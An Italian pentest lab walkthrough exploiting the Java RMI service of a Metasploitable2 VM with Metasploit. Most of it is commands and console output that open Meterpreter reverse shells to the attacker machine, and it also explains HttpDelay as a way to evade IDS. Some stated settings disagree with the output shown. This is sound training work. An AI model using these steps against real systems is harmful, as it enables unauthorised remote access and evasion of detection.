

Nell'esercitazione di oggi andrò a sfruttare una vulnerabilità della macchina Metasploitable2 che presenta un servizio vulnerabile sulla porta 1099 - Java RMI e ottenere così accesso remoto tramite Meterpreter.

Kali Linux: utilizzata come macchina attaccante, con indirizzo IP 192.168.11.111

Metasploitable2: configurata come macchina vittima, con indirizzo IP 192.168.11.112

Uso Metasploit, un software open-source che contiene una raccolta di exploit che permettono di sfruttare vulnerabilità

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use sessions -l to interact with the last opened session

      .:ek000kde'      'edk000ko:
      .x000000000000c  c00000000000x.
      :00000000000000k, ,k0000000000000:
      '00000000kkk00000: :0000000000000000
      o0000000. .o0000000001. ,00000000
      d0000000. .c00000c. ,00000000x
      l0000000. ;d; ,000000001
      .0000000. .; ; ,00000000.
      c0000000. .00c. 'o00. ,0000000c
      o0000000. .0000. :0000. ,0000000
      l00000. .0000. :0000. ,000001
      ;0000' .0000. :0000. ;0000;
      .d000 .0000cccc0000. x00d.
      ,kol .000000000000. .d0k,
      ;kk;.0000000000000.c0k;
      ;k00000000000000k:
      ,x000000000000x,
      .l00000001.
      ,d0d,
      .

      =[ metasploit v6.4.18-dev ]
+ -- --[ 2437 exploits - 1255 auxiliary - 429 post ]
+ -- --[ 1471 payloads - 47 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
```

Uso l'exploit/multi/misc/java_rmi_server, che permette di sfruttare una vulnerabilità del servizio Java RMI.

```
msf6 > search java_rmi_server

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  C
--  -
0  exploit/multi/misc/java_rmi_server      2011-10-15      excellent Y
es  Java RMI Server Insecure Default Configuration Java Code Execution
1  \_ target: Generic (Java Payload)      .               .
2  \_ target: Windows x86 (Native Payload) .               .
3  \_ target: Linux x86 (Native Payload)   .               .
4  \_ target: Mac OS X PPC (Native Payload) .               .
5  \_ target: Mac OS X x86 (Native Payload) .               .
6  auxiliary/scanner/misc/java_rmi_server  2011-10-15      normal N
o  Java RMI Server Insecure Endpoint Code Execution Scanner

Interact with a module by name or index. For example info 6, use 6 or use auxiliary/scanner/misc/java_rmi_server

msf6 > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > 
```

Configuro l'exploit con i seguenti parametri:
RHOSTS: 192.168.11.112 (IP della macchina vittima Metasploitable2).
RPORT: 1099 (porta su cui il servizio Java RMI è in ascolto).
Payload utilizzato: java/meterpreter/reverse_tcp.

Il payload ha l'obiettivo di stabilire una connessione tra la macchina vittima e la macchina attaccante, consentendo l'accesso remoto tramite Meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
----      -
HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)
```

Eseguo l'exploit
Gli exploit sono utilizzati per sfruttare le vulnerabilità in un sistema e consentono l'esecuzione di codice, accesso non autorizzato o interruzione dei servizi.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Ji2ocKeCSGo
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:57042)
at 2024-11-15 04:42:49 -0500

meterpreter > 
```

Durante la sessione Meterpreter, verifico con il comando

ifconfig
per ottenere le informazioni relative alla macchina
vittima, tra cui indirizzo IP

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fef2:618a
IPv6 Netmask : ::

meterpreter > 
```

route
per visualizzare la tabella di
routing

```
meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::a00:27ff:fef2:618a ::           ::           0            eth0

meterpreter > 
```

L'HttpDelay è un'opzione configurabile in Metasploit per ritardare l'invio di richieste HTTP da parte del payload. Questo può essere utile per simulare un comportamento più realistico o per aggirare sistemi di rilevamento come firewall o intrusion detection systems (IDS).

Per configurare HttpDelay:

Seleziona
use exploit/multi/misc/java_rmi_server

seleziono il payload HTTP
set payload
linux/x86/meterpreter/reverse_http

set RHOSTS 192.168.11.112
set LHOST 192.168.11.111

Per le opzioni avanzate del payload

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
```

show advanced

Imposta l'HttpDelay e imposto un ritardo di 5 secondi

set HttpDelay 5

eseguo

exploit

```
msf6 exploit(multi/misc/java_rmi_server) > set httpdelay 20
httpdelay => 20
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ----      -
  HTTPDELAY  20               yes       Time that the HTTP Server will wait
                                         for the payload request
  RHOSTS    192.168.11.112  yes       The target host(s), see https://docs
                                         .metasploit.com/docs/using-metasploi
                                         t/basics/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface
                                         to listen on. This must be an addres
                                         s on the local machine or 0.0.0.0 to
                                         listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connectio
                                         ns
  SSLCert   -                no        Path to a custom SSL certificate (de
                                         fault is randomly generated)
  URIPATH   -                no        The URI to use for this exploit (def
                                         ault is random)

Payload options (java/meterpreter/reverse_http):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.11.111  yes       The local listener hostname
  LPORT     8080            yes       The local listener port
  LURI      -                no        The HTTP Path

Exploit target:

  Id  Name
  --  ---
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started HTTP reverse handler on http://192.168.11.111:8081
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/JJgrpTR7OsjAMO
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] http://192.168.11.111:8081 handling request from 192.168.11.112; (UUID: f3po
tipl) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.11.111:8081 handling request from 192.168.11.112; (UUID: f3po
tipl) Staging java payload (58504 bytes) ...
[*] http://192.168.11.111:8081 handling request from 192.168.11.112; (UUID: f3po
tipl) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.11.111:8081 -> 192.168.11.112:41117) a
t 2024-11-15 08:46:16 -0500

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe2:618a
IPv6 Netmask : ::

meterpreter > 
```